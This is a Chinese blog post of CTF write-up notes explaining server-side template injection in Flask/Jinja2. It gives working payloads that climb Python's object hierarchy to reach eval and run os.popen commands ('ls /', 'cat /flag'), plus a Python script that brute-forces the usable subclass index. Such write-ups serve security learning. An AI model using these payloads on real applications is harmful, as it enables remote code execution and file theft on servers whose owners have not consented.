web361笔记(SSTI模版注入-eval-python-jinja2)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
https://www.cnblogs.com/bmjoker/p/13508538.html
SSTI(模板注入)漏洞(入门篇)
https://d6c66424-431a-493f-a6ab-82749d4fbc8d.challenge.ctf.show/?name={{7*7}}

 

#这里[]是试出来的,说明是对象是列表类型,所以查的也是列表类的基类
https://d6c66424-431a-493f-a6ab-82749d4fbc8d.challenge.ctf.show/?name={{[].__class__.__base__}}

 

先找基类
?name={{[].__class__.__base__}}  #这里[]是试出来的,说明是对象是列表类型,所以查的也是列表类的基类
找子类
?name={{[].__class__.__base__.__subclasses__()}}

 https://d6c66424-431a-493f-a6ab-82749d4fbc8d.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[185]}}

 

 

__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
其实在面向对象的角度解释这样做很容易,对象是需要初始化的,而 __init__ 的作用就是把我们选取的对象初始化,然后如何去使用对象中的方法呢?这就需要用到 __globals__ 来获取对全局变量或模块的引用。

所以初始化对象,获取函数方法合集,并确定存在内建 eval 函数:
?name={{[].__class__.__base__.__subclasses__()[185].__init__.__globals__}}

 

 

 ?name={{[].__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']}}
 ?name={{[].__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
 ?name={{[].__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}

 

 

import requests
from tqdm import tqdm
 
for i in tqdm(range(233)):
    url = 'http://4a452e3b-87c0-4333-b0de-5988c9699010.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[' + str(
        i) + '].__init__.__globals__.__builtins__}}'
    r = requests.get(url=url).text
    if ('eval' in r):
        print(i)

但是 有些人不知道这个eval在哪个类怎么办,没关系,我们可以遍历object类的子类,检查每个子类的__init__方法的全局命名空间(__globals__)中是否包含eval函数(上面代码的pro版本)

 

posted @ 2025-06-03 15:59  justdoIT*  阅读(120)  评论(0)    收藏  举报